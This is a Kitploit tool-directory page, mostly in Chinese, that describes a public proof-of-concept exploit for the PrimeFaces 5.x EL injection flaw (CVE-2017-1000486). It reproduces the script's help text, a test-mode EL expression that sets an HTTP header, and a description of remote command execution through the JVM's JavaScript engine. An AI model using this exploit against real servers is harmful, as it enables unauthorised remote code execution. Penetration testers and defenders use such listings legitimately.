Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-1000486 — Proof of Concept Exploit for PrimeFaces 5.x EL Injection (CVE-2017-1000486) | Kitploit
工具/GitHubGitHub/mogwailabs/cve-2017-1000486
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmogwailabs/cve-2017-1000486

CVE-2017-1000486

Proof of Concept Exploit for PrimeFaces 5.x EL Injection (CVE-2017-1000486)

查看仓库
923年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-1000486

PrimeFaces 5.x EL表达式注入(CVE-2017-1000486)的概念验证利用工具,可用于在目标上实现远程代码执行。

漏洞描述

你可以在 Minded Security 博客 上找到关于该漏洞的精彩描述。

使用方法

该利用工具提供了一个帮助函数,可打印所有重要参数:

root@kitploit:~
./primefaces.py --help

PrimeFaces 5.x EL injection exploit (CVE-2017-1000486) by MOGWAI LABS
=====================================================================

usage: primefaces.py [-h] [-t] [-e EXTENSION] url [payload]

PrimeFaces 5.x EL injection exploit

positional arguments:
  url                   The target URL (http/https)
  payload               File with the JavaScript (Rino/Nashorn) code to
                        execute or OS command

optional arguments:
  -h, --help            show this help message and exit
  -t, --test            Test mode (off by default)
  -e EXTENSION, --extension EXTENSION
                        Extension of the target (xhtml, jsf)

该利用工具提供了一个简单的测试模式(-t 参数),可用于验证目标是否确实存在漏洞。测试方式如下:向目标发送以下 EL 表达式,该表达式会在 HTTP 响应中添加一个额外的头部字段,然后利用工具会检查该头部:

root@kitploit:~
${facesContext.getExternalContext().setResponseHeader("MOGWAILABS","CHKCHK")}

实际利用是通过调用 Java 虚拟机自带的 JavaScript 解释器来实现的。这样可以从 JavaScript 执行任意 Java 代码。

利用工具提供了两个示例 payload:

  • payload.js(执行操作系统命令)
  • sleep.js(休眠 4 秒,导致响应延迟)

请注意,这些示例均不会为你提供命令的输出结果。

下载工具